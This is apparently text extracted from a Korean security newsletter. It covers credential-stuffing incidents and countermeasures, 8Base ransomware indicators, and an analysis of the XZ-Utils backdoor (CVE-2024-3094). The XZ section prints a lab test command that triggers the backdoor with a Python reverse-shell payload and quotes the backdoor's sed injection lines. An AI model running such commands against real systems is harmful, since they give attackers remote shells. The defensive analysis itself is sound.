
EQST(이큐스트)는 ‘Experts,  Qualified Security Team’

이라는 뜻으로 사이버 위협 분석 및 연구 분야에서 검증된
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Headline 
  

 

크리덴셜 스터핑 공격과 단계별 대응 전략 
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정보통신망법 제 48조 정보통신망 침해행위 등의 금지 

① 누구든지 정당한 접근권한 없이 또는 허용된 접근 권한을 넘어 정보통신망에 침입하여서는 아니 된다  

* 5년 이하의 징역 또는 5,000만 원 이하의 벌금 
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일자 대상 내용 

24년 

01월 
온라인 교육 

· 크리덴셜 스터핑 공격과 게시판 내 XSS(Cross-Site Scripting) 공격으로 회원 

X만 X천 명 개인정보 유출 

· 사전에 확보한 아이디, 비밀번호를 악용한 크리덴셜 스터핑 공격으로 회원 

A 의 계정탈취, 회원 A 의 계정을 통해 불법이용 신고 게시판에 악성 

스크립트를 삽입하여 추가 개인정보 유출 

23년 

11월 
복권 사이트  

· 회원 비밀번호 변경을 통한 부정 로그인 발생 

· 개인정보(이름, 생년월일, 전화번호, 이메일, 가상계좌) 유출 

· 피해가 확인된 회원들의 비밀번호 초기화 선 조치 수행 

23년 

10월 
스포츠사이트 

· 아시안 게임의 한국 vs 중국 축구 8 강전에서, XX 스포츠의 클릭 응원 

서비스의 중국팀 응원 90% 이상 

· 로그인 없이 응원 클릭 가능하여, 해외 IP 2곳에서 매크로를 통한 응원 클릭 

23년 

07월 
커피전문점 

· 크리덴셜 스터핑 공격으로 앱에 무단 로그인하여, 고객(회원)의 충전금 결제 

· 현금화가 쉬운 텀블러를 주로 구매, 사측에서는 충전금 전액 보전 

· 로그인 혹은 거래 단계에서 별도의 이차인증 없음 

23년 

07월 
취업정보 사이트  

· 중국 등 해외 IP에서 XX만여 건의 무단 로그인을 통한 개인정보 유출 

· 이름, 성별, 출생연도, 주소, 일반전화 외 13개 등록된 개인정보 유출 
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1. 공격자의 목적 및 현황파악 

- 크리덴셜 스터핑 공격이 시도되는 페이지의 용도가 무엇인가? 

: 해당 페이지를 통해 공격자가 확인이 가능한 정보(개인정보) 파악 

 

- 조작(입력)되는 필드/파라미터, 응답 값은 무엇인가? 

: 정합성을 체크하는 정보가 무엇인지 파악 

: 입력값의 항목에서 개인정보는 어떠한 것들이 포함되어 있는지 파악 

: 응답 값에 포함된 유니크한 정보가 어떤 것들이 있는지를 파악 

 

- 시도횟수/방식을 파악? 

: 크리덴셜 공격인지 단순 공격인지를 파악 

: 입력값의 순차적인 증감/문자열 추가 방식은 성공률이 낮음 

2. 크리덴셜 스터핑 원천 차단대응 고려 

- 사용자별 시도 횟수 제한을 통한 대응을 고려 

: 사용자 구분 방법을 통해 시도 횟수를 제한 

 (로그인 세션, Src_IP, 로그인 전 세션, User-Agent 등) 

 

- 무단 로그인에 대한 피해 방어 

: 다중인증/복합인증을 통한 방어 

3. 공격자 행위 방해 고려 

- 공격 페이지(URL)에 대한 IP별 접속 제한 방어 

: App(서버) 단에서 구현이 어려울 경우, NW보안 솔루션(ex. 전용장비)을 통해 구현 

: AWS/Azure에서 임계치 접속 차단 대응 기능 지원 

: OnPrem 에서는 WAF, SSL복호화 트래픽을 이용한 대응 

 

- CAPTCHA 구현을 통한 방어 

: 회원가입, 본인인증 등 자주 발생하지는 않지만, 공격/이슈가 많이 발생하는 페이지는 무조건적인 캡챠 적용을 

구현 

: 일반적인 사용자의 자주 접속하는 페이지(ex.로그인 페이지)는 이상동작 감지 시, 캡챠 적용을 구현 
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4. 크리덴셜 스터핑 차단 우회 탐지기법 적용 

- 차단 우회를 통한 접속 탐지기법 적용 

: 자동이 아닌 수동방식을 통한 캡챠 우회 시도 탐지 필요 

 

- 탐지 및 분석기법 (ex.예시) 

: 특정 페이지만 접속하는 경우 

: HTTP Header를 변경하여 접속하는 경우 

: 지속적인 대입공격 탐지 (긴 시간 적은 수의 접속) 

: 필요시 IP검색 기준을 C/B Class 단위로 확대 모니터링 

5. 서비스 안정성 고려하여 대응 

- 사용자가 많은 NAT IP대역 

: 1인이 아닌, 다수 사용자의 정상접속을 인지 및 예외처리 

 

- 차단 대응 외 추가 대응방법 다양화 모색 

: 캡챠 적용/추가 인증 

: 사용자/관리자 대상 차단 정보 알림 

: 차단 정책에 대해 일정 시간 이후 해제 방식 

6. 사전예방 및 사후대응 

- App구현 시 대입공격에 안전하게 서비스 로직 설계 

: 사용자 편의 보안기능 구현, 보호 프로세스 구현 

 

- 크리덴셜 스터핑 공격 시도에 대한 조치 시행 

: 불법적인 이벤트 당첨 취소, 사용자 확인을 통한 경고 등 

 

- 다크웹 노출 계정에 대응 

: 필요 시 다크웹 정보 제공 서비스를 활용한 자동화 대응 프로세스 구현 

: 노출된 계정들에 대한 로그인 잠금/변경/안내조치 
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https://www.skshieldus.com/kor/service/information/consulting/consulting.do?_gl=1*1d3osu5*_ga*Mjk1MDkwMzMwLjE3MTQ2MzY2NTE.*_ga_KE09H4J10K*MTcxNDYzNjY1MC4xLjAuMTcxNDYzNjY1MC42MC4wLjA.*_ga_G70943657Z*MTcxNDYzNjY1MC4xLjAuMTcxNDYzNjY1MC42MC4wLjEzNzAzOTA0ODM.#mock-hack
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Keep up with Ransomware 
   

 

중소기업을 노리는 8Base 랜섬웨어의 위협 

 

◼ 개요 
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◼ 랜섬웨어 뉴스 

  



 

EQST insight | 11 

 



 

EQST insight | 12 

◼ 랜섬웨어 위협 
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◼ 랜섬웨어 집중 포커스
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ae0087b0e2f4292c64c5232368e562c30da4db998734b9b3dd5e27f456741f9c 

4e4c154f0500990e897ca9650eafd3c6255ba4df3b4bc620c6ba27b718278392 

b4b89828380c4781c7beafa6dce00ae38cd4adc13ad56792996e28c41def5c53  

454f9058a9fd9c266782389850d6142a0d04ce9d8042bc069ccd8d90d60be6d5 

7e290b69efbd441e9f968dd21304c7685ddae17be0378113650fba822af08f69 

rh111.exe 

executable.exe 

mtx111.exe 
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◼ 참고 사이트 
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Research & Technique 
    

 

XZ-Utils 백도어 악성코드 분석(CVE-2024-3094) 

 

■ 취약점 개요 

 

 

 

https://www.openwall.com/lists/oss-security/2024/03/29/4
https://github.com/tukaani-project/xz
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■ 공격 타임라인 
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■ 공격 시나리오 

 

① 공격자는 공급망 공격에 취약한 오픈소스 프로젝트를 탐색 

② 공격자는 오픈소스 프로젝트 소프트웨어 소스코드에 백도어를 설치 

③ 피해자는 백도어가 설치된 소프트웨어를 다운로드 받아 공격에 노출 

④ 공격자는 백도어를 트리거해 원격에서 사용자 PC에 랜섬웨어 및 악성코드를 배포 
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■ 영향받는 소프트웨어 버전 

S/W 구분 취약 버전 

XZ-Utils 5.6.0, 5.6.1 

 

■ 테스트 환경 구성 정보 

이름 정보 

피해자 

Ubuntu 22.04 

XZ-Utils 5.6.1 

(192.168.102.74) 

공격자 
Kali Linux 

(192.168.219.129) 
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■ 취약점 테스트 

$ python3 patch.py src/liblzma/.libs/liblzma.so.5.6.1 

$ ./main -addr 192.168.102.74 -cmd ` python -c 'import 

socket,subprocess,o;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.216.29",7777));os.du

p2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subproces.call(["/bin/sh","-i"]);'` 

 

 

 

 

https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6
https://github.com/amlweems/xzbot
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■ 취약점 상세 분석 
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sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" 

src/liblzma/check/crc64_fast.c | \ 

sed "/include \"crc64_arm64.h\"/a \\$V" | \ 

sed "1i # 0 \"src/liblzma/check/crc32_fast.c\"" 2>/dev/null 

 

  



 

EQST insight | 38 

 

  



 

EQST insight | 39 

 

 

 

 



 

EQST insight | 40 

 

 



 

EQST insight | 41 

 

 

 

 

 

 

 

 

 

 

 



 

EQST insight | 42 

 

 

 



 

EQST insight | 43 

 

 

 

 

 

  



 

EQST insight | 44 

 

 

 



 

EQST insight | 45 

 

 

 

 

 

 

  



 

EQST insight | 46 

 

 

 

 



 

EQST insight | 47 

 

0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48 
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■ 대응 방안  

which xz 

xz --version 

 

 

 

소프트웨어 패치 권장 버전 

XZ-utils 5.4.6 

 

  

https://tukaani.org/xz-backdoor/
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■ 참고 사이트  
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